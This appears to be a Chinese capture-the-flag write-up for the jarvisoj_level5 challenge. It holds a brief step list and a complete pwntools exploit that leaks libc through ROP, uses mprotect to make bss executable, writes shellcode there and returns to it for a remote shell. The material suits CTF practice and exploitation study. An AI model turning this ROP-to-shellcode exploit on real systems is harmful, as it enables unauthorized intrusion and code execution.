• jarvisoj_level5


    exp 脚本

    • 利用 rop write 泄露 libc 地址。
    • 获得函数 mprotect 的地址。
    • 返回漏洞函数利用 rop mportect 改写权限使得 bss 段可执行。
    • 返回漏洞函数利用 rop read 往 bss 段写入 shellcode。
    • 返回漏洞函数再次栈溢出控制返回地址指向 bss 段执行 shellcode 。
    from pwn import *
    
    context.log_level='DEBUG'
    r=remote('node3.buuoj.cn',25687)
    #r = process('./level3_x64')
    file=ELF('./level3_x64')
    #libc=ELF('./libc-2.19.so')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    prdi=0x4006b3
    prsi=0x4006b1
    bss_start=0x600a88
    start_addr=0x4004f0
    
    payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
    payload1+=p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload1)
    write_got=u64(r.recv(8))
    sleep(1)
    
    libc_base=write_got-libc.sym['write']
    mprotect=libc_base+libc.sym['mprotect']
    prdx=libc_base+0x1b92
    
    payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload2)
    sleep(1)
    
    payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
    r.recvuntil('
    ')
    r.send(payload3)
    sleep(1)
    r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
    
    payload4='a'*0x80+'b'*8+p64(bss_start)
    r.recvuntil('
    ')
    r.send(payload4)
    
    r.interactive()
    
    

    get flag

    内容来源

    jarvisoj level5爬坑

  • 相关阅读:
    常用AIX论坛地址介绍
    向日葵任务甘特图 http://www.51diaodu.cn/
    centos 中tomcat加入自启动​【转】
    徐州出差几天
    Unit OneC
    周末来了~
    北京展览馆参加第6届石油石化装备展览会
    王心凌 我会好好的 cyndi with u
    VS中Debug与Release、_WIN32与_WIN64的区别
    c语言中<stdbool.h>的使用
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12398759.html
Copyright © 2020-2023  润新知